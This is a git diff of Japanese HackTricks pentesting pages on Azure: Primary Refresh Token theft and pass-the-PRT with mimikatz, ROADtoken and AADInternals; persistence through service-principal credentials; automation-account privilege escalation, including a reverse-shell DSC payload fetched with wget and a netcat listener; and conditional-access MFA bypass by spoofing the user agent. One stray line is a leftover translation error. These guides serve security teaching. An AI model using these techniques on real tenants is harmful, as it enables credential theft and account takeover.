PRTクッキーは実際には**`x-ms-RefreshTokenCredential`**と呼ばれ、JS "request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA" } ``` -実際の**Primary Refresh Token (PRT)**は、**`refresh_token`**内にカプセル化されており、これはAzure ADの制御下にあるキーによって暗号化されているため、その内容は私たちには不透明で復号化不可能です。フィールド**`is_primary`**は、このトークン内にプライマリリフレッシュトークンがカプセル化されていることを示します。クッキーが意図された特定のログインセッションにバインドされ続けることを保証するために、`request_nonce`は`logon.microsoftonline.com`ページから送信されます。 +実際の **Primary Refresh Token (PRT)** は **`refresh_token`** 内にカプセル化されており、これは Azure AD の制御下にあるキーによって暗号化されているため、その内容は私たちには不透明で復号不可能です。フィールド **`is_primary`** は、このトークン内にプライマリリフレッシュトークンがカプセル化されていることを示します。クッキーが意図された特定のログインセッションにバインドされ続けることを保証するために、`request_nonce` が `logon.microsoftonline.com` ページから送信されます。 ### TPMを使用したPRTクッキーのフロー -**LSASS**プロセスは**KDFコンテキスト**をTPMに送信し、TPMは**セッションキー**(デバイスがAzureADに登録されたときに収集され、TPMに保存されたもの)と前のコンテキストを使用して**キーを導出**し、この**導出されたキー**は**PRTクッキー(JWT)に署名するために使用されます。** +**LSASS** プロセスは **KDFコンテキスト** を TPM に送信し、TPM は **セッションキー**(デバイスが AzureAD に登録されたときに収集され、TPM に保存されたもの)と前のコンテキストを使用して **キーを導出** します。この **導出されたキー** は **PRTクッキー (JWT) を署名するために使用されます。** -**KDFコンテキストは**AzureADからのノンスとPRTを混ぜた**JWT**と**コンテキスト**(ランダムバイト)です。 +**KDFコンテキストは** AzureAD からのノンスと PRT を混ぜた **JWT** と **コンテキスト**(ランダムバイト)です。 -したがって、PRTはTPM内にあるため抽出できませんが、LSASSを悪用して**新しいコンテキストから導出されたキーを要求し、生成されたキーを使用してクッキーに署名する**ことが可能です。 +したがって、PRT が TPM 内にあるために抽出できない場合でも、LSASS を悪用して **新しいコンテキストから導出されたキーを要求し、生成されたキーを使用してクッキーに署名する** ことが可能です。
## PRT悪用シナリオ -**通常のユーザー**として、LSASSにSSOデータを要求することで**PRTの使用を要求する**ことが可能です。\ -これは、**Web Account Manager**(トークンブローカー)からトークンを要求する**ネイティブアプリ**のように行うことができます。WAMはリクエストを**LSASS**に渡し、LSASSは署名されたPRTアサーションを使用してトークンを要求します。また、**PRTクッキー**が**ヘッダー**としてAzure ASログインページへのリクエストを認証するために使用される**ブラウザベース(ウェブ)フロー**で行うこともできます。 +**通常のユーザー** として、LSASS に SSO データを要求することで **PRTの使用を要求する** ことが可能です。\ +これは、**Web Account Manager**(トークンブローカー)からトークンを要求する **ネイティブアプリ** のように行うことができます。WAM はリクエストを **LSASS** に渡し、LSASS は署名された PRT アサーションを使用してトークンを要求します。また、**PRTクッキー** を **ヘッダー** として使用して Azure AS ログインページへのリクエストを認証する **ブラウザベース(ウェブ)フロー** でも行うことができます。 -**SYSTEM**として、TPMによって保護されていない場合は**PRTを盗むことができ**、または**LSASS内のPRTキーと相互作用する**ことができます。 +**SYSTEM** として、TPM によって保護されていない場合は **PRTを盗むことができ**、または **LSASS 内のPRTキーと相互作用する** ことができます。 ## Pass-the-PRT攻撃の例 ### 攻撃 - ROADtoken -この方法の詳細については、[**この投稿を確認してください**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)。ROADtokenは、正しいディレクトリから**`BrowserCore.exe`**を実行し、これを使用して**PRTクッキーを取得**します。このクッキーは、その後ROADtoolsを使用して認証し、**永続的なリフレッシュトークンを取得**するために使用できます。 +この方法の詳細については [**この投稿を確認してください**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)。ROADtoken は正しいディレクトリから **`BrowserCore.exe`** を実行し、これを使用して **PRTクッキーを取得** します。このクッキーはその後、ROADtools を使用して認証し、**永続的なリフレッシュトークンを取得** するために使用できます。 -有効なPRTクッキーを生成するために最初に必要なのはノンスです。\ -これを取得するには: -```powershell +有効な PRT クッキーを生成するために最初に必要なのはノンスです。\ +これを取得するには: +```bash $TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed" $URL = "https://login.microsoftonline.com/$TenantId/oauth2/token" @@ -77,19 +77,19 @@ $Result.Nonce AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA ``` [**roadrecon**](https://github.com/dirkjanm/ROADtools)を使用するか: -```powershell +```bash roadrecon auth prt-init ``` -その後、[**roadtoken**](https://github.com/dirkjanm/ROADtoken)を使用して新しいPRTを取得できます(攻撃するユーザーのプロセスからツールを実行します): -```powershell +次に、[**roadtoken**](https://github.com/dirkjanm/ROADtoken)を使用して新しいPRTを取得できます(攻撃するユーザーのプロセスからツールを実行します): +```bash .\ROADtoken.exe ``` 申し訳ありませんが、具体的なテキストが提供されていないため、翻訳を行うことができません。翻訳が必要なテキストを提供してください。 -```powershell +```bash Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"} ``` -次に、**生成されたクッキー**を使用して、Azure AD **Graph**またはMicrosoft Graphを使用して**トークン**を**生成**し、**ログイン**できます: -```powershell +次に、**生成されたクッキー**を使用して、Azure AD **Graph**またはMicrosoft Graphを使用して**トークン**を**生成**して**ログイン**できます: +```bash # Generate roadrecon auth --prt-cookie @@ -101,7 +101,7 @@ Connect-AzureAD --AadAccessToken --AccountId ### 攻撃 - AADInternalsと漏洩したPRTの使用 `Get-AADIntUserPRTToken` **はユーザーのPRTトークンを取得します** Azure ADに参加したコンピュータまたはハイブリッド参加したコンピュータから。 `BrowserCore.exe`を使用してPRTトークンを取得します。 -```powershell +```bash # Get the PRToken $prtToken = Get-AADIntUserPRTToken @@ -109,7 +109,7 @@ $prtToken = Get-AADIntUserPRTToken Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken ``` Mimikatzからの値がある場合は、AADInternalsを使用してトークンを生成することもできます: -```powershell +```bash # Mimikat "PRT" value $MimikatzPRT="MC5BWU..." @@ -136,7 +136,7 @@ $AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken # Verify access and connect with Az. You can see account id in mimikatz prt output Connect-AzAccount -AccessToken $AT -TenantID -AccountId ``` -[https://login.microsoftonline.com](https://login.microsoftonline.com) に移動し、login.microsoftonline.com のすべてのクッキーをクリアし、新しいクッキーを入力します。 +[https://login.microsoftonline.com](https://login.microsoftonline.com) に移動し、login.microsoftonline.com のすべてのクッキーをクリアして、新しいクッキーを入力します。 ``` Name: x-ms-RefreshTokenCredential Value: [Paste your output from above] @@ -146,27 +146,27 @@ HttpOnly: Set to True (checked) 次に、[https://portal.azure.com](https://portal.azure.com)に移動します。 > [!CAUTION] -> 残りはデフォルトのはずです。ページを更新できて、クッキーが消えないことを確認してください。消える場合は、間違いを犯した可能性があり、プロセスを再度行う必要があります。消えない場合は、問題ありません。 +> 残りはデフォルトのはずです。ページを更新でき、クッキーが消えないことを確認してください。消えた場合は、間違いを犯した可能性があり、プロセスを再度行う必要があります。消えない場合は、問題ありません。 ### 攻撃 - Mimikatz #### 手順 -1. **PRT(プライマリリフレッシュトークン)がLSASS**(ローカルセキュリティオーソリティサブシステムサービス)から抽出され、後で使用するために保存されます。 -2. **次にセッションキーが抽出されます**。このキーは最初に発行され、その後ローカルデバイスによって再暗号化されるため、DPAPIマスタキーを使用して復号化する必要があります。DPAPI(データ保護API)に関する詳細情報は、これらのリソースで確認できます:[HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) およびその適用については、[Pass-the-cookie attack](az-pass-the-cookie.md)を参照してください。 -3. セッションキーの復号化後、**PRTのための派生キーとコンテキストが取得されます**。これらは**PRTクッキーの作成に重要です**。具体的には、派生キーはクッキーを構成するJWT(JSON Webトークン)に署名するために使用されます。このプロセスの詳細な説明は、Dirk-janによって提供されており、[こちら](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)でアクセスできます。 +1. **PRT (Primary Refresh Token) が LSASS** (Local Security Authority Subsystem Service) から抽出され、後で使用するために保存されます。 +2. **次にセッションキーが抽出されます**。このキーは最初に発行され、その後ローカルデバイスによって再暗号化されるため、DPAPI マスタキーを使用して復号化する必要があります。DPAPI (Data Protection API) に関する詳細情報は、これらのリソースで確認できます: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) およびその適用については、[Pass-the-cookie attack](az-pass-the-cookie.md)を参照してください。 +3. セッションキーの復号化後、**PRT のための派生キーとコンテキストが取得されます**。これらは**PRT クッキーの作成に重要です**。具体的には、派生キーはクッキーを構成する JWT (JSON Web Token) の署名に使用されます。このプロセスの詳細な説明は、Dirk-jan によって提供されており、[こちら](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)でアクセスできます。 > [!CAUTION] -> PRTがTPM内にあり、`lsass`内にない場合、**mimikatzはそれを抽出できません**。\ -> ただし、TPMからのコンテキストから派生キーを取得し、それを使用して**クッキーに署名することは可能です(オプション3を確認してください)。** +> PRT が TPM 内にあり、`lsass` 内にない場合、**mimikatz はそれを抽出できません**。\ +> ただし、TPM からのコンテキストから派生キーを取得し、それを使用して**クッキーに署名することは可能です (オプション 3 を確認してください)**。 -これらの詳細を抽出するために実行されたプロセスの**詳細な説明**は、こちらで確認できます:[**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) +これらの詳細を抽出するために実行されたプロセスの**詳細な説明**は、こちらで確認できます: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) > [!WARNING] -> これは、2021年8月の修正後、他のユーザーのPRTトークンを取得するためには正確には機能しません。なぜなら、ユーザーのみが自分のPRTを取得できるからです(ローカル管理者は他のユーザーのPRTにアクセスできません)が、自分のPRTにはアクセスできます。 +> これは、2021年8月の修正後、他のユーザーの PRT トークンを取得するためには正確には機能しません。なぜなら、ユーザーのみが自分の PRT を取得できるからです (ローカル管理者は他のユーザーの PRT にアクセスできませんが、自分の PRT にはアクセスできます)。 -**mimikatz**を使用してPRTを抽出できます: -```powershell +**mimikatz** を使用して PRT を抽出できます: +```bash mimikatz.exe Privilege::debug Sekurlsa::cloudap @@ -220,7 +220,7 @@ HttpOnly: Set to True (checked) - 次に [https://portal.azure.com](https://portal.azure.com) に移動します。 > [!CAUTION] -> 残りはデフォルトのままであるべきです。ページを更新でき、クッキーが消えないことを確認してください。消える場合は、間違いを犯した可能性があり、プロセスを再度行う必要があります。消えない場合は、問題ありません。 +> 残りはデフォルトのままであるべきです。ページを更新でき、クッキーが消えないことを確認してください。消えた場合は、間違いを犯した可能性があり、プロセスを再度行う必要があります。消えない場合は、問題ありません。 #### オプション 2 - PRTを使用したroadrecon diff --git a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md index 39c5a8e42..fd00ae312 100644 --- a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md +++ b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md @@ -2,6 +2,8 @@ {{#include ../../banners/hacktricks-training.md}} -テストを開始するには、**サブスクリプションに対するリーダー権限**を持つユーザーと、**AzureADのグローバルリーダー役割**へのアクセスが必要です。それでも**ストレージアカウントのコンテンツにアクセスできない**場合は、**ストレージアカウント貢献者の役割**で修正できます。 +いくつかの Entra ID テナントのホワイトボックスハードニングレビューを開始するには、**各テナントの Global Reader ロール**を要求する必要があります。さらに、異なる Azure サブスクリプションのハードニングレビューを実施するには、**すべてのサブスクリプションに対する Reader 権限**が少なくとも必要です。 + +これらのロールが必要な情報にアクセスするには不十分な場合は、必要な権限を持つロールをクライアントに要求することもできます。ただし、**読み取り専用でない権限を要求する量を最小限に抑えるようにしてください!** {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-persistence/README.md b/src/pentesting-cloud/azure-security/az-persistence/README.md index fb7062efa..a54473b56 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/README.md +++ b/src/pentesting-cloud/azure-security/az-persistence/README.md @@ -2,28 +2,28 @@ {{#include ../../../banners/hacktricks-training.md}} -### 不正な同意の付与 +### Illicit Consent Grant -デフォルトでは、任意のユーザーがAzure ADにアプリケーションを登録できます。したがって、高い影響を持つ権限が必要なアプリケーション(ターゲットテナント専用)を登録できます。管理者の同意が必要です(管理者であれば承認できます) - 例えば、ユーザーの代理でメールを送信したり、役割管理を行ったりします。これにより、成功した場合に非常に**有益な****フィッシング攻撃**を**実行**することができます。 +デフォルトでは、任意のユーザーがAzure ADにアプリケーションを登録できます。したがって、高い影響力のある権限が必要なアプリケーション(ターゲットテナント専用)を登録できます。管理者の同意が必要です(管理者であれば承認できます) - 例えば、ユーザーの代理でメールを送信したり、役割管理を行ったりします。これにより、成功した場合に非常に**有益**な**フィッシング攻撃**を**実行**することができます。 -さらに、あなたのユーザーとしてそのアプリケーションを受け入れることで、アクセスを維持する方法としても利用できます。 +さらに、アクセスを維持する手段として、ユーザーとしてそのアプリケーションを受け入れることもできます。 -### アプリケーションとサービスプリンシパル +### Applications and Service Principals -Application Administrator、GA、またはmicrosoft.directory/applications/credentials/update権限を持つカスタムロールの特権を持つことで、既存のアプリケーションに資格情報(シークレットまたは証明書)を追加できます。 +Application Administrator、GA、またはmicrosoft.directory/applications/credentials/update権限を持つカスタムロールの特権を持つ場合、既存のアプリケーションに資格情報(シークレットまたは証明書)を追加できます。 **高い権限を持つアプリケーションをターゲットにする**ことも、**高い権限を持つ新しいアプリケーションを追加する**ことも可能です。 -アプリケーションに追加するのに興味深い役割は、**特権認証管理者ロール**です。これは、グローバル管理者の**パスワードをリセット**することを可能にします。 +アプリケーションに追加するのに興味深い役割は、**特権認証管理者ロール**です。これにより、グローバル管理者の**パスワードをリセット**することができます。 -この技術はまた、**MFAをバイパス**することを可能にします。 -```powershell +この技術はまた、**MFAをバイパス**することも可能です。 +```bash $passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd) Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a ``` -- 証明書ベースの認証の場合 -```powershell +- 証明書ベースの認証のために +```bash Connect-AzAccount -ServicePrincipal -Tenant -CertificateThumbprint -ApplicationId ``` ### Federation - Token Signing Certificate @@ -31,17 +31,17 @@ Connect-AzAccount -ServicePrincipal -Tenant -CertificateThumbprint [!TIP] -> **メタデータサービス**は、オートメーションアカウントのマネージドアイデンティティトークンを取得するサービスとは異なるURL(**`http://169.254.169.254`**)を持っていることを覚えておいてください(**`IDENTITY_ENDPOINT`**)。 +> **メタデータサービス**のURLは、オートメーションアカウントのマネージドアイデンティティトークンを取得するサービスとは異なるURL(**`http://169.254.169.254`**)であることを忘れないでください(**`IDENTITY_ENDPOINT`**)。 ### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`) @@ -58,13 +58,13 @@ az automation runbook start \ az rest --method GET \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobs//output?api-version=2023-11-01" ``` -Runbookが作成されていない場合、または新しいRunbookを作成したい場合は、次の操作を行うために**permissions `Microsoft.Resources/subscriptions/resourcegroups/read` と `Microsoft.Automation/automationAccounts/runbooks/write`**が必要です: +Runbookが作成されていない場合、または新しいものを作成したい場合は、次の操作を行うために**permissions `Microsoft.Resources/subscriptions/resourcegroups/read` と `Microsoft.Automation/automationAccounts/runbooks/write`**が必要です: ```bash az automation runbook create --automation-account-name --resource-group --name --type PowerShell ``` ### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` -この権限は、ユーザーが次の方法でAutomation Accountに**ユーザー管理のアイデンティティ**を割り当てることを許可します: +この権限は、ユーザーが次の方法でAutomation Accountに**ユーザー管理のアイデンティティ**を割り当てることを許可します: ```bash az rest --method PATCH \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts/?api-version=2020-01-13-preview" \ @@ -82,7 +82,7 @@ az rest --method PATCH \ 権限 **`Microsoft.Automation/automationAccounts/schedules/write`** を使用すると、以下のコマンドを使用して、15分ごとに実行される新しいスケジュールをAutomation Accountに作成することができます(あまりステルスではありません)。 -スケジュールの**最小間隔は15分**であり、**最小開始時間は5分**先です。 +スケジュールの**最小間隔は15分**であり、**最小開始時間は5分**先であることに注意してください。 ```bash ## For linux az automation schedule create \ @@ -104,7 +104,7 @@ az automation schedule create \ --frequency Minute \ --interval 15 ``` -次に、**`Microsoft.Automation/automationAccounts/jobSchedules/write`** の権限を持つことで、次のようにしてランブックにスケジューラを割り当てることができます: +その後、**`Microsoft.Automation/automationAccounts/jobSchedules/write`** の権限を持つことで、次のようにしてランブックにスケジューラを割り当てることができます: ```bash az rest --method PUT \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \ @@ -194,7 +194,7 @@ az automation source-control create \ --token-type PersonalAccessToken \ --access-token github_pat_11AEDCVZ ``` -この操作により、Githubリポジトリから自動的にランブックがAutomation Accountにインポートされ、他の権限を持ってそれらを実行し始めることができれば、**権限を昇格させることが可能**です。 +これにより、GithubリポジトリからAutomation Accountにランブックが自動的にインポートされ、いくつかの他の権限を持ってそれらを実行し始めることができれば、**権限を昇格させることが可能**です。 さらに、Automation Accountsでソース管理が機能するためには、**`Contributor`**の役割を持つマネージドアイデンティティが必要であり、ユーザーマネージドアイデンティティの場合は、MIのクライアントIDを変数**`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**に指定する必要があります。 @@ -203,7 +203,7 @@ az automation source-control create \ ### `Microsoft.Automation/automationAccounts/variables/write` -権限**`Microsoft.Automation/automationAccounts/variables/write`**を持つことで、次のコマンドを使用してAutomation Accountに変数を書き込むことが可能です。 +権限**`Microsoft.Automation/automationAccounts/variables/write`**を使用すると、次のコマンドを使用してAutomation Accountに変数を書き込むことができます。 ```bash az rest --method PUT \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//variables/?api-version=2019-06-01" \ @@ -223,7 +223,7 @@ az rest --method PUT \ ### 状態構成の妥協 -**完全な投稿を確認するには:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe) +**完全な投稿を確認してください:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe) - ステップ 1 — ファイルの作成 @@ -236,13 +236,13 @@ az rest --method PUT \ - ステップ 2 — 構成ファイルを圧縮 `reverse_shell_config.ps1`は`.zip`ファイルに圧縮され、Azure Storage Accountへの転送の準備が整います。 -```powershell +```bash Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip ``` - ステップ 3 — ストレージコンテキストの設定とアップロード 圧縮された構成ファイルは、AzureのSet-AzStorageBlobContent cmdletを使用して、事前定義されたAzure Storageコンテナazure-pentestにアップロードされます。 -```powershell +```bash Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx ``` - ステップ 4 — Kali ボックスの準備 @@ -257,7 +257,7 @@ wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1 構成ファイルが実行され、リバースシェルスクリプトがWindows VMの指定された場所にデプロイされます。 -- ステップ 6 — ペイロードのホストとリスナーの設定 +- ステップ 6 — ペイロードのホスティングとリスナーの設定 PythonのSimpleHTTPServerがペイロードをホストするために起動され、Netcatリスナーが着信接続をキャプチャします。 ```bash diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md index 43cffea80..03e71b210 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md @@ -4,88 +4,88 @@ ## 基本情報 -Azure Conditional Access ポリシーは、特定の **条件** に基づいて Azure サービスおよびアプリケーションへのアクセス制御を強制するために Microsoft Azure に設定されたルールです。これらのポリシーは、適切な状況下で適切なアクセス制御を適用することにより、組織がリソースを保護するのに役立ちます。\ -Conditional access policies は基本的に **誰が** **何に** **どこから** **どのように** アクセスできるかを **定義** します。 +Azure Conditional Accessポリシーは、特定の**条件**に基づいてAzureサービスやアプリケーションへのアクセス制御を強制するためにMicrosoft Azureで設定されたルールです。これらのポリシーは、適切な状況下で適切なアクセス制御を適用することにより、組織がリソースを保護するのに役立ちます。\ +Conditional accessポリシーは基本的に**誰が**、**何に**、**どこから**、**どのように**アクセスできるかを**定義**します。 いくつかの例を挙げます: -1. **サインインリスクポリシー**: このポリシーは、サインインリスクが検出された場合に多要素認証 (MFA) を要求するように設定できます。たとえば、ユーザーのログイン行動が通常のパターンと異なる場合、たとえば異なる国からログインしている場合、システムは追加の認証を求めることができます。 -2. **デバイスコンプライアンスポリシー**: このポリシーは、組織のセキュリティ基準に準拠しているデバイスのみが Azure サービスにアクセスできるように制限できます。たとえば、最新のウイルス対策ソフトウェアがインストールされているデバイスや特定のオペレーティングシステムバージョンを実行しているデバイスからのみアクセスを許可することができます。 +1. **サインインリスクポリシー**:このポリシーは、サインインリスクが検出された場合に多要素認証(MFA)を要求するように設定できます。たとえば、ユーザーのログイン行動が通常のパターンと異なる場合、たとえば異なる国からログインしている場合、システムは追加の認証を求めることができます。 +2. **デバイスコンプライアンスポリシー**:このポリシーは、組織のセキュリティ基準に準拠しているデバイスのみがAzureサービスにアクセスできるように制限できます。たとえば、最新のウイルス対策ソフトウェアがインストールされているデバイスや特定のオペレーティングシステムバージョンを実行しているデバイスからのみアクセスを許可することができます。 -## Conditional Access Policies Bypasses +## Conditional Accessポリシーのバイパス -条件付きアクセス ポリシーが **簡単に改ざんできる情報をチェックしている可能性があり、ポリシーをバイパスできる** ことがあります。たとえば、ポリシーが MFA を設定している場合、攻撃者はそれをバイパスできるでしょう。 +Conditional accessポリシーが**簡単に改ざんできる情報をチェックしている可能性があり、ポリシーのバイパスが可能です**。たとえば、ポリシーがMFAを設定している場合、攻撃者はそれをバイパスできるでしょう。 -条件付きアクセス ポリシーを設定する際には、**影響を受けるユーザー** と **ターゲットリソース** (すべてのクラウドアプリなど) を指定する必要があります。 +Conditional accessポリシーを設定する際には、**影響を受けるユーザー**と**ターゲットリソース**(すべてのクラウドアプリなど)を指定する必要があります。 -また、ポリシーを **トリガー** する **条件** を設定する必要があります: +また、ポリシーを**トリガー**する**条件**を設定する必要があります: -- **ネットワーク**: IP、IP 範囲、地理的位置 -- VPN またはプロキシを使用して、許可された IP アドレスからログインすることでバイパス可能 -- **Microsoft リスク**: ユーザーリスク、サインインリスク、内部者リスク -- **デバイスプラットフォーム**: 任意のデバイスまたは Android、iOS、Windows Phone、Windows、macOS、Linux を選択 -- 「任意のデバイス」が選択されていないが、他のすべてのオプションが選択されている場合、これらのプラットフォームに関連しないランダムなユーザーエージェントを使用してバイパス可能 -- **クライアントアプリ**: オプションは「ブラウザ」、「モバイルアプリとデスクトップクライアント」、「Exchange ActiveSync クライアント」、「その他のクライアント」 +- **ネットワーク**:IP、IP範囲、地理的位置 +- VPNやプロキシを使用して許可されたIPアドレスからログインすることでバイパス可能 +- **Microsoftリスク**:ユーザーリスク、サインインリスク、内部者リスク +- **デバイスプラットフォーム**:任意のデバイスまたはAndroid、iOS、Windows Phone、Windows、macOS、Linuxを選択 +- 「任意のデバイス」が選択されていないが他のすべてのオプションが選択されている場合、これらのプラットフォームに関連しないランダムなユーザーエージェントを使用してバイパス可能 +- **クライアントアプリ**:オプションは「ブラウザ」、「モバイルアプリとデスクトップクライアント」、「Exchange ActiveSyncクライアント」、「その他のクライアント」 - 選択されていないオプションでログインをバイパスする -- **デバイスのフィルタ**: 使用されるデバイスに関連するルールを生成可能 -- **認証フロー**: オプションは「デバイスコードフロー」と「認証転送」 -- これは、攻撃者がフィッシング攻撃で被害者のアカウントにアクセスしようとしない限り、影響を与えません +- **デバイスのフィルタ**:使用されるデバイスに関連するルールを生成可能 +- **認証フロー**:オプションは「デバイスコードフロー」と「認証転送」 +- これは、攻撃者がフィッシング試行で被害者のアカウントにアクセスしようとしない限り、影響を与えません -可能な **結果** は次のとおりです:ブロックまたはアクセスを許可し、MFA を要求する、デバイスが準拠している必要があるなどの条件が付くことがあります… +可能な**結果**は:ブロックまたはアクセスを許可し、MFAを要求する、デバイスが準拠している必要があるなどの条件が付くことがあります… ### デバイスプラットフォーム - デバイス条件 -**デバイスプラットフォーム** (Android、iOS、Windows、macOS...) に基づいて条件を設定することが可能ですが、これは **ユーザーエージェント** に基づいているため、バイパスが容易です。すべてのオプションで MFA を強制しても、**認識されないユーザーエージェントを使用すれば、** MFA またはブロックをバイパスできます: +**デバイスプラットフォーム**(Android、iOS、Windows、macOSなど)に基づいて条件を設定することが可能ですが、これは**ユーザーエージェント**に基づいているため、バイパスが容易です。すべてのオプションでMFAを強制しても、**認識されないユーザーエージェント**を使用すれば、MFAまたはブロックをバイパスできます:
-ブラウザに **不明なユーザーエージェント** (例: `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) を送信させるだけで、この条件をトリガーしないようにできます。\ -開発者ツールでユーザーエージェントを **手動で** 変更できます: +ブラウザに**不明なユーザーエージェント**(例:`Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`)を送信させるだけで、この条件をトリガーしないようにできます。\ +開発者ツールでユーザーエージェントを**手動で**変更できます:
または、[このようなブラウザ拡張機能](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en)を使用できます。 -### ロケーション: 国、IP 範囲 - デバイス条件 +### ロケーション:国、IP範囲 - デバイス条件 -これが条件付きポリシーに設定されている場合、攻撃者は **許可された国** で **VPN** を使用するか、**許可された IP アドレス** からアクセスする方法を見つけることで、これらの条件をバイパスできます。 +これが条件付きポリシーに設定されている場合、攻撃者は**許可された国**で**VPN**を使用するか、**許可されたIPアドレス**からアクセスする方法を見つけることで、これらの条件をバイパスできます。 ### クラウドアプリ -特定のアプリにアクセスしようとするユーザーに対して、MFA をブロックまたは強制するように **条件付きアクセス ポリシーを設定することが可能です**: +特定のアプリにアクセスしようとするユーザーに対して、MFAをブロックまたは強制する**条件付きアクセスポリシーを設定することが可能です**:
-この保護をバイパスしようとする場合、**任意のアプリケーションにのみログインできるかどうかを確認する必要があります**。\ -ツール [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) は **ハードコーディングされた数十のアプリケーション ID** を持ち、それらにログインしようとし、成功した場合はトークンを提供します。 +この保護をバイパスしようとする場合、**任意のアプリケーションにのみログインできるかどうか**を確認する必要があります。\ +ツール[**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)は、**ハードコーディングされた数十のアプリケーションID**を持ち、それらにログインしようとし、成功した場合はトークンを提供します。 -特定のリソース内の **特定のアプリケーション ID をテストするために**、次のようなツールを使用することもできます: +特定のリソース内の**特定のアプリケーションIDをテストする**ために、次のようなツールを使用することもできます: ```bash roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout ``` -さらに、ログイン方法を保護することも可能です(例えば、ブラウザからまたはデスクトップアプリケーションからログインしようとしている場合)。ツール [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) は、この保護をバイパスしようとするいくつかのチェックを実行します。 +さらに、ログイン方法を保護することも可能です(例えば、ブラウザからログインしようとしている場合やデスクトップアプリケーションからの場合)。ツール[**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep)は、この保護をバイパスしようとするいくつかのチェックを実行します。 -ツール [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) も同様の目的で使用される可能性がありますが、メンテナンスされていないようです。 